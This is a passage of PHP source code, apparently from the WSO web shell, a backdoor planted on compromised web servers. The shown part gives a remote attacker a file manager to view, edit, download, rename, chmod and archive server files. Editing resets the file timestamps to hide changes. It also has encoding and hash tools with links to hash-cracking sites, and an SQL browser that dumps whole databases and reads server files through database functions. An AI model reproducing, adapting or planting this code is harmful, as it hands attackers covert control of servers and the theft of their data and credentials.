666 if (($f != ".") and ($f != ".."))
667 copy_paste($c.$s.'/',$f, $d.$s.'/');
668 } elseif(is_file($c.$s))
669 @copy($c.$s, $d.$s);
670 }
671 foreach($_COOKIE['f'] as $f)
672 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
673 } elseif($_COOKIE['act'] == 'move') {
674 function move_paste($c,$s,$d){
675 if(is_dir($c.$s)){
676 mkdir($d.$s);
677 $h = @opendir($c.$s);
678 while (($f = @readdir($h)) !== false)
679 if (($f != ".") and ($f != ".."))
680 copy_paste($c.$s.'/',$f, $d.$s.'/');
681 } elseif(@is_file($c.$s))
682 @copy($c.$s, $d.$s);
683 }
684 foreach($_COOKIE['f'] as $f)
685 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
686 } elseif($_COOKIE['act'] == 'zip') {
687 if(class_exists('ZipArchive')) {
688 $zip = new ZipArchive();
689 if ($zip->open($_POST['p2'], 1)) {
690 chdir($_COOKIE['c']);
691 foreach($_COOKIE['f'] as $f) {
692 if($f == '..')
693 continue;
694 if(@is_file($_COOKIE['c'].$f))
695 $zip->addFile($_COOKIE['c'].$f, $f);
696 elseif(@is_dir($_COOKIE['c'].$f)) {
697 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
698 foreach ($iterator as $key=>$value) {
699 $zip->addFile(realpath($key), $key);
700 }
701 }
702 }
703 chdir($GLOBALS['cwd']);
704 $zip->close();
705 }
706 }
707 } elseif($_COOKIE['act'] == 'unzip') {
708 if(class_exists('ZipArchive')) {
709 $zip = new ZipArchive();
710 foreach($_COOKIE['f'] as $f) {
711 if($zip->open($_COOKIE['c'].$f)) {
712 $zip->extractTo($GLOBALS['cwd']);
713 $zip->close();
714 }
715 }
716 }
717 } elseif($_COOKIE['act'] == 'tar') {
718 chdir($_COOKIE['c']);
719 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
720 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
721 chdir($GLOBALS['cwd']);
722 }
723 unset($_COOKIE['f']);
724 setcookie('f', '', time() - 3600);
725 break;
726 default:
727 if(!empty($_POST['p1'])) {
728 WSOsetcookie('act', $_POST['p1']);
729 WSOsetcookie('f', serialize(@$_POST['f']));
730 WSOsetcookie('c', @$_POST['c']);
731 }
732 break;
733 }
734 }
735 wsoHeader();
736 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
737 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
738 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
739 global $sort;
740 $sort = array('name', 1);
741 if(!empty($_POST['p1'])) {
742 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
743 $sort = array($match[1], (int)$match[2]);
744 }
745echo "<script>
746 function sa() {
747 for(i=0;i<d.files.elements.length;i++)
748 if(d.files.elements[i].type == 'checkbox')
749 d.files.elements[i].checked = d.files.elements[0].checked;
750 }
751</script>
752<table width='100%' class='main' cellspacing='0' cellpadding='2'>
753<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
754 $dirs = $files = array();
755 $n = count($dirContent);
756 for($i=0;$i<$n;$i++) {
757 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
758 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
759 $tmp = array('name' => $dirContent[$i],
760 'path' => $GLOBALS['cwd'].$dirContent[$i],
761 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
762 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
763 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
764 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
765 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
766 );
767 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
768 $files[] = array_merge($tmp, array('type' => 'file'));
769 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
770 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
771 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
772 $dirs[] = array_merge($tmp, array('type' => 'dir'));
773 }
774 $GLOBALS['sort'] = $sort;
775 function wsoCmp($a, $b) {
776 if($GLOBALS['sort'][0] != 'size')
777 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
778 else
779 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
780 }
781 usort($files, "wsoCmp");
782 usort($dirs, "wsoCmp");
783 $files = array_merge($dirs, $files);
784 $l = 0;
785 foreach($files as $f) {
786 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
787 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
788 $l = $l?0:1;
789 }
790 echo "<tr><td colspan=7>
791 <input type=hidden name=a value='FilesMan'>
792 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
793 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
794 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
795 if(class_exists('ZipArchive'))
796 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
797 echo "<option value='tar'>Compress (tar.gz)</option>";
798 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
799 echo "<option value='paste'>Paste / Compress</option>";
800 echo "</select> ";
801 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
802 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
803 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
804 wsoFooter();
805}
806//File Manager end------------------------
807//FileTools go----------------------------
808function actionFilesTools() {
809 if( isset($_POST['p1']) )
810 $_POST['p1'] = urldecode($_POST['p1']);
811 if(@$_POST['p2']=='download') {
812 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
813 ob_start("ob_gzhandler", 4096);
814 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
815 if (function_exists("mime_content_type")) {
816 $type = @mime_content_type($_POST['p1']);
817 header("Content-Type: " . $type);
818 } else
819 header("Content-Type: application/octet-stream");
820 $fp = @fopen($_POST['p1'], "r");
821 if($fp) {
822 while(!@feof($fp))
823 echo @fread($fp, 1024);
824 fclose($fp);
825 }
826 }exit;
827 }
828 if( @$_POST['p2'] == 'mkfile' ) {
829 if(!file_exists($_POST['p1'])) {
830 $fp = @fopen($_POST['p1'], 'w');
831 if($fp) {
832 $_POST['p2'] = "edit";
833 fclose($fp);
834 }
835 }
836 }
837 wsoHeader();
838 echo '<h1>File tools</h1><div class=content>';
839 if( !file_exists(@$_POST['p1']) ) {
840 echo 'File not exists';
841 wsoFooter();
842 return;
843 }
844 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
845 if(!$uid) {
846 $uid['name'] = @fileowner($_POST['p1']);
847 $gid['name'] = @filegroup($_POST['p1']);
848 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
849 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
850 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
851 if( empty($_POST['p2']) )
852 $_POST['p2'] = 'view';
853 if( is_file($_POST['p1']) )
854 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
855 else
856 $m = array('Chmod', 'Rename', 'Touch');
857 foreach($m as $v)
858 echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
859 echo '<br><br>';
860 switch($_POST['p2']) {
861 case 'view':
862 echo '<pre class=ml1>';
863 $fp = @fopen($_POST['p1'], 'r');
864 if($fp) {
865 while( !@feof($fp) )
866 echo htmlspecialchars(@fread($fp, 1024));
867 @fclose($fp);
868 }
869 echo '</pre>';
870 break;
871 case 'highlight':
872 if( @is_readable($_POST['p1']) ) {
873 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
874 $code = @highlight_file($_POST['p1'],true);
875 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
876 }
877 break;
878 case 'chmod':
879 if( !empty($_POST['p3']) ) {
880 $perms = 0;
881 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
882 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
883 if(!@chmod($_POST['p1'], $perms))
884 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
885 }
886 clearstatcache();
887 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
888 break;
889 case 'edit':
890 if( !is_writable($_POST['p1'])) {
891 echo 'File isn\'t writeable';
892 break;
893 }
894 if( !empty($_POST['p3']) ) {
895 $time = @filemtime($_POST['p1']);
896 $_POST['p3'] = substr($_POST['p3'],1);
897 $fp = @fopen($_POST['p1'],"w");
898 if($fp) {
899 @fwrite($fp,$_POST['p3']);
900 @fclose($fp);
901 echo 'Saved!<br><script>p3_="";</script>';
902 @touch($_POST['p1'],$time,$time);
903 }
904 }
905 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
906 $fp = @fopen($_POST['p1'], 'r');
907 if($fp) {
908 while( !@feof($fp) )
909 echo htmlspecialchars(@fread($fp, 1024));
910 @fclose($fp);
911 }
912 echo '</textarea><input type=submit value=">>"></form>';
913 break;
914 case 'hexdump':
915 $c = @file_get_contents($_POST['p1']);
916 $n = 0;
917 $h = array('00000000<br>','','');
918 $len = strlen($c);
919 for ($i=0; $i<$len; ++$i) {
920 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
921 switch ( ord($c[$i]) ) {
922 case 0: $h[2] .= ' '; break;
923 case 9: $h[2] .= ' '; break;
924 case 10: $h[2] .= ' '; break;
925 case 13: $h[2] .= ' '; break;
926 default: $h[2] .= $c[$i]; break;
927 }
928 $n++;
929 if ($n == 32) {
930 $n = 0;
931 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
932 $h[1] .= '<br>';
933 $h[2] .= "\n";
934 }
935 }
936 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
937 break;
938 case 'rename':
939 if( !empty($_POST['p3']) ) {
940 if(!@rename($_POST['p1'], $_POST['p3']))
941 echo 'Can\'t rename!<br>';
942 else
943 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
944 }
945 echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
946 break;
947 case 'touch':
948 if( !empty($_POST['p3']) ) {
949 $time = strtotime($_POST['p3']);
950 if($time) {
951 if(!touch($_POST['p1'],$time,$time))
952 echo 'Fail!';
953 else
954 echo 'Touched!';
955 } else echo 'Bad time format!';
956 }
957 clearstatcache();
958 echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
959 break;
960 }
961 echo '</div>';
962 wsoFooter();
963}
964
965// FileTools end------------------------
966
967// Shell Tools -------------------------
968
969// StringTools go-----------------------
970function actionStringTools() {
971 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
972 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
973 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
974 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
975 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
976 $stringTools = array(
977 'Base64 encode' => 'base64_encode',
978 'Base64 decode' => 'base64_decode',
979 'Url encode' => 'urlencode',
980 'Url decode' => 'urldecode',
981 'Full urlencode' => 'full_urlencode',
982 'md5 hash' => 'md5',
983 'sha1 hash' => 'sha1',
984 'crypt' => 'crypt',
985 'CRC32' => 'crc32',
986 'ASCII to HEX' => 'ascii2hex',
987 'HEX to ASCII' => 'hex2ascii',
988 'HEX to DEC' => 'hexdec',
989 'HEX to BIN' => 'hex2bin',
990 'DEC to HEX' => 'dechex',
991 'DEC to BIN' => 'decbin',
992 'BIN to HEX' => 'binhex',
993 'BIN to DEC' => 'bindec',
994 'String to lower case' => 'strtolower',
995 'String to upper case' => 'strtoupper',
996 'Htmlspecialchars' => 'htmlspecialchars',
997 'String length' => 'strlen',
998 );
999 if(isset($_POST['ajax'])) {
1000 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
1001 ob_start();
1002 if(in_array($_POST['p1'], $stringTools))
1003 echo $_POST['p1']($_POST['p2']);
1004 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1005 echo strlen($temp), "\n", $temp;
1006 exit;
1007 }
1008 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1009 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
1010 wsoHeader();
1011 echo '<h1>String conversions</h1><div class=content>';
1012 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1013 foreach($stringTools as $k => $v)
1014 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1015 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1016 if(!empty($_POST['p1'])) {
1017 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1018 }
1019 echo"</pre></div><br><h1>Search files:</h1><div class=content>
1020 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1021 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1022 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1023 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1024 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1025 </table></form>";
1026
1027 function wsoRecursiveGlob($path) {
1028 if(substr($path, -1) != '/')
1029 $path.='/';
1030 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1031 if(is_array($paths)&&@count($paths)) {
1032 foreach($paths as $item) {
1033 if(@is_dir($item)){
1034 if($path!=$item)
1035 wsoRecursiveGlob($item);
1036 } else {
1037 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
1038 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
1039 }
1040 }
1041 }
1042 }
1043 if(@$_POST['p3'])
1044 wsoRecursiveGlob($_POST['c']);
1045 echo "</div><br><h1>Search for hash:</h1><div class=content>
1046 <form method='post' target='_blank' name='hf'>
1047 <input type='text' name='hash' style='width:200px;'><br>
1048 <input type='hidden' name='act' value='find'/>
1049 <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
1050 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1051 <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
1052 </form></div>";
1053 wsoFooter();
1054}
1055// StringTools end----------------------
1056// Sql go ------------------------------
1057function actionSql() {
1058 class DbClass {
1059 var $type;
1060 var $link;
1061 var $res;
1062 function DbClass($type) {
1063 $this->type = $type;
1064 }
1065 function connect($host, $user, $pass, $dbname){
1066 switch($this->type) {
1067 case 'mysql':
1068 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1069 break;
1070 case 'pgsql':
1071 $host = explode(':', $host);
1072 if(!$host[1]) $host[1]=5432;
1073 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1074 break;
1075 }
1076 return false;
1077 }
1078 function selectdb($db) {
1079 switch($this->type) {
1080 case 'mysql':
1081 if (@mysql_select_db($db))return true;
1082 break;
1083 }
1084 return false;
1085 }
1086 function query($str) {
1087 switch($this->type) {
1088 case 'mysql':
1089 return $this->res = @mysql_query($str);
1090 break;
1091 case 'pgsql':
1092 return $this->res = @pg_query($this->link,$str);
1093 break;
1094 }
1095 return false;
1096 }
1097 function fetch() {
1098 $res = func_num_args()?func_get_arg(0):$this->res;
1099 switch($this->type) {
1100 case 'mysql':
1101 return @mysql_fetch_assoc($res);
1102 break;
1103 case 'pgsql':
1104 return @pg_fetch_assoc($res);
1105 break;
1106 }
1107 return false;
1108 }
1109 function listDbs() {
1110 switch($this->type) {
1111 case 'mysql':
1112 return $this->query("SHOW databases");
1113 break;
1114 case 'pgsql':
1115 return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
1116 break;
1117 }
1118 return false;
1119 }
1120 function listTables() {
1121 switch($this->type) {
1122 case 'mysql':
1123 return $this->res = $this->query('SHOW TABLES');
1124 break;
1125 case 'pgsql':
1126 return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
1127 break;
1128 }
1129 return false;
1130 }
1131 function error() {
1132 switch($this->type) {
1133 case 'mysql':
1134 return @mysql_error();
1135 break;
1136 case 'pgsql':
1137 return @pg_last_error();
1138 break;
1139 }
1140 return false;
1141 }
1142 function setCharset($str) {
1143 switch($this->type) {
1144 case 'mysql':
1145 if(function_exists('mysql_set_charset'))
1146 return @mysql_set_charset($str, $this->link);
1147 else
1148 $this->query('SET CHARSET '.$str);
1149 break;
1150 case 'pgsql':
1151 return @pg_set_client_encoding($this->link, $str);
1152 break;
1153 }
1154 return false;
1155 }
1156 function loadFile($str) {
1157 switch($this->type) {
1158 case 'mysql':
1159 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1160 break;
1161 case 'pgsql':
1162 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1163 $r=array();
1164 while($i=$this->fetch())
1165 $r[] = $i['file'];
1166 $this->query('drop table wso2');
1167 return array('file'=>implode("\n",$r));
1168 break;
1169 }
1170 return false;
1171 }
1172 function dump($table, $fp = false) {
1173 switch($this->type) {
1174 case 'mysql':
1175 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1176 $create = mysql_fetch_array($res);
1177 $sql = $create[1].";\n";
1178 if($fp) fwrite($fp, $sql); else echo($sql);
1179 $this->query('SELECT * FROM `'.$table.'`');
1180 $i = 0;
1181 $head = true;
1182 while($item = $this->fetch()) {
1183 $sql = '';
1184 if($i % 1000 == 0) {
1185 $head = true;
1186 $sql = ";\n\n";
1187 }
1188
1189 $columns = array();
1190 foreach($item as $k=>$v) {
1191 if($v === null)
1192 $item[$k] = "NULL";
1193 elseif(is_int($v))
1194 $item[$k] = $v;
1195 else
1196 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1197 $columns[] = "`".$k."`";
1198 }
1199 if($head) {
1200 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1201 $head = false;
1202 } else
1203 $sql .= "\n\t,(".implode(", ", $item).')';
1204 if($fp) fwrite($fp, $sql); else echo($sql);
1205 $i++;
1206 }
1207 if(!$head)
1208 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1209 break;
1210 case 'pgsql':
1211 $this->query('SELECT * FROM '.$table);
1212 while($item = $this->fetch()) {
1213 $columns = array();
1214 foreach($item as $k=>$v) {
1215 $item[$k] = "'".addslashes($v)."'";
1216 $columns[] = $k;
1217 }
1218 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1219 if($fp) fwrite($fp, $sql); else echo($sql);
1220 }
1221 break;
1222 }
1223 return false;
1224 }
1225 };
1226 $db = new DbClass($_POST['type']);
1227 if(@$_POST['p2']=='download') {
1228 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1229 $db->selectdb($_POST['sql_base']);
1230 switch($_POST['charset']) {
1231 case "Windows-1251": $db->setCharset('cp1251'); break;
1232 case "UTF-8": $db->setCharset('utf8'); break;
1233 case "KOI8-R": $db->setCharset('koi8r'); break;
1234 case "KOI8-U": $db->setCharset('koi8u'); break;
1235 case "cp866": $db->setCharset('cp866'); break;
1236 }
1237 if(empty($_POST['file'])) {
1238 ob_start("ob_gzhandler", 4096);
1239 header("Content-Disposition: attachment; filename=dump.sql");
1240 header("Content-Type: text/plain");
1241 foreach($_POST['tbl'] as $v)
1242 $db->dump($v);
1243 exit;
1244 } elseif($fp = @fopen($_POST['file'], 'w')) {
1245 foreach($_POST['tbl'] as $v)
1246 $db->dump($v, $fp);
1247 fclose($fp);
1248 unset($_POST['p2']);
1249 } else
1250 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
1251 }
1252 wsoHeader();
1253 echo "
1254<h1>Sql browser</h1><div class=content>
1255<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
1256<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1257<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1258<td><select name='type'><option value='mysql' ";
1259 if(@$_POST['type']=='mysql')echo 'selected';
1260echo ">MySql</option><option value='pgsql' ";
1261if(@$_POST['type']=='pgsql')echo 'selected';
1262echo ">PostgreSql</option></select></td>
1263<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
1264<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
1265<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
1266 $tmp = "<input type=text name=sql_base value=''>";
1267 if(isset($_POST['sql_host'])){
1268 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1269 switch($_POST['charset']) {
1270 case "Windows-1251": $db->setCharset('cp1251'); break;
1271 case "UTF-8": $db->setCharset('utf8'); break;
1272 case "KOI8-R": $db->setCharset('koi8r'); break;
1273 case "KOI8-U": $db->setCharset('koi8u'); break;
1274 case "cp866": $db->setCharset('cp866'); break;
1275 }
1276 $db->listDbs();
1277 echo "<select name=sql_base><option value=''></option>";
1278 while($item = $db->fetch()) {
1279 list($key, $value) = each($item);
1280 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1281 }
1282 echo '</select>';
1283 }
1284 else echo $tmp;
1285 }else
1286 echo $tmp;
1287 echo "</td>
1288 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
1289 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
1290 </tr>
1291 </table>
1292 <script>
1293 s_db='".@addslashes($_POST['sql_base'])."';
1294 function fs(f) {
1295 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
1296 if(f.p1) f.p1.value='';
1297 if(f.p2) f.p2.value='';
1298 if(f.p3) f.p3.value='';
1299 }
1300 }
1301 function st(t,l) {
1302 d.sf.p1.value = 'select';
1303 d.sf.p2.value = t;
1304 if(l && d.sf.p3) d.sf.p3.value = l;
1305 d.sf.submit();
1306 }
1307 function is() {
1308 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
1309 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
1310 }
1311 </script>";
1312 if(isset($db) && $db->link){
1313 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1314 if(!empty($_POST['sql_base'])){
1315 $db->selectdb($_POST['sql_base']);
1316 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
1317 $tbls_res = $db->listTables();
1318 while($item = $db->fetch($tbls_res)) {
1319 list($key, $value) = each($item);
1320 if(!empty($_POST['sql_count']))
1321 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1322 $value = htmlspecialchars($value);
1323 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
1324 }
1325 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
1326 if(@$_POST['p1'] == 'select') {
1327 $_POST['p1'] = 'query';
1328 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
1329 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
1330 $num = $db->fetch();
1331 $pages = ceil($num['n'] / 30);
1332 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
1333 echo " of $pages";
1334 if($_POST['p3'] > 1)
1335 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
1336 if($_POST['p3'] < $pages)
